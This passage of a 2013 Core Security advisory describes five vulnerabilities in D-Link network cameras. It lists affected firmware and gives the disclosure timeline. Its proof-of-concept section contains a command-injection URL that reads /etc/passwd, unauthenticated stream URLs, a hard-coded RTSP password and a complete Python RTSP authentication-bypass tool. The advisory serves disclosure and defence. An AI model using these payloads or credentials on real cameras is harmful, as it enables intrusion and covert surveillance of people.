that\ncould allow an unauthenticated remote attacker:\n\n 1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n 2. [CVE-2013-1600] to access the video stream via HTTP,\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n 4. [CVE-2013-1602] to access the video stream via RTSP,\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials.\n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked.\n\n[CVE-2013-1599]\n . DCS-3411/3430 - firmware v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n . DCS-3411/3430 - v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n . ALL mentioned devices and firmware.\n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information.\n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam.\n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team.\n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services.\n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team.\n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera's web interface. The OS command injection is due to\nthis code in 'rtpd.cgi':\n\n/-----\necho \"$QUERY_STRING\" | grep -vq ' ' || die \"query string cannot contain\nspaces.\"\n. $conf > /dev/null 2> /dev/null\neval \"$(echo $QUERY_STRING | sed -e 's/&/ /g')\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in '$QUERY_STRING'. The last line uses 'sed' to replace\nampersands '&' with spaces, and then call to the function 'eval()',\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd\n-----/\n\n\n7.2. *Authentication Bypass*\n\n[CVE-2013-1600] The live video stream can be accessed without\nauthentication by a remote attacker via the following request:\n\n/-----\nhttp://192.168.1.100/upnp/asf-mp4.asf\n-----/\n\n7.3. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . . . . . . o o o o o o o\nO O O O O O O O O O o . o O O o . o o o o o o\nO O O O O O O O O . . o o o o o o\nO O O O O O O O . . o o o o o o o o\nO O O O O O O . . o O O o . . o o o o o o o o o\nO O O O O O o . O O O O O O . o o o o o o o o o\nO O O O O O . O O O O O O O . . . . . o o o o o o o o o\nO O O O O O o O O O O O O O . . . o . . . o o o o o o o o\nO O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o\nO O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o\nO O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o\nO O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o\nO O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o\nO O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o\nO O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o\nO O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o\nO O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o\nO O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o\nO O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o\nO O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o\nO O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o\nO O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o\nO O O O O O O O O O . . . o o o . o . . o O o . . . . . .\no O O O O O O O O O . . o o o . o . . . O o . . .\no o O O O O O O O O o . o o o . o . . . O o . .\no o o O O O O O O O o . o o o . o . . . O o .\n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n 1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request.\n 2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead).\nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker.\n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print '(%s) %s' % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n\n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n\n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n\n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception('There is already a dispatcher for port %d'\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n\n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind(('', self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break\n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind(('', src_port))\n self.sock.listen(5)\n\n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return ''\n\n\nclass DLink(Camera):\n # D-Link DCS-2102/1.06-5731\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return\n'\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a'\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'\n UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'\n SERVER_PORT_ARGUMENTS = 'server_port='\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = '5556-5559'\n\n def __init__(self, local_port, camera):\n self.last_describe_req = ''\n self.camera = camera\n self.local_port = local_port\n\n def start(self):\n log('[!] Starting bypasser')\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n\n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log('[!] Unauthorized response received. Spoofing...')\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search('.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*',\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = 'RTSP/1.0 200 OK\\r\\n'\n data+= 'CSeq: %s\\r\\n' % cseq\n data+= 'Content-Type: application/sdp\\r\\n'\n data+= 'Content-Length: %d\\r\\n' % len(spoofed_describe)\n data+= '\\r\\n'\n # Attach the spoofed describe\n data+= spoofed_describe\n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search('.*%s\\\\s*(.+?)[;|\\r].*' %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split('-'))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass\n return data\n\nif __name__ == '__main__':\n if len( sys.argv ) > 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n else:\n print 'usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]'\n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream.\n\n/-----\nusername: (any)\npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string ':?*' (the character ':' is used for concatenation of\n'username:password'). This code belongs to the binary 'rtspd':\n\n/-----\n.text:00011468 loc_11468 ; Load from Memory\n.text:00011468 LDR R3, [R11,#s2]\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" <-------\n.text:0001148C MOV R2, #3 ; n\n.text:00011490 BL strncmp ; Branch with Link\n.text:00011494 MOV R3, R0 ; Rd = Op2\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE loc_114BC ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability.\n\n. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability.\n\n. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013.\n\n. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU).\n\n. 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program.\n\n. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP.\n\n. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release).\n\n. 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable.\n\n. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days.\n\n. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th.\n\n. 2013-04-29:\nAdvisory CORE-2013-0303 published.\n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.\n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography.\nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies.\nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com.\n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations.\n\nCore Security's software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company's Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com.\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.", "sourceHref": "https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/hardware/webapps/25138.txt", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}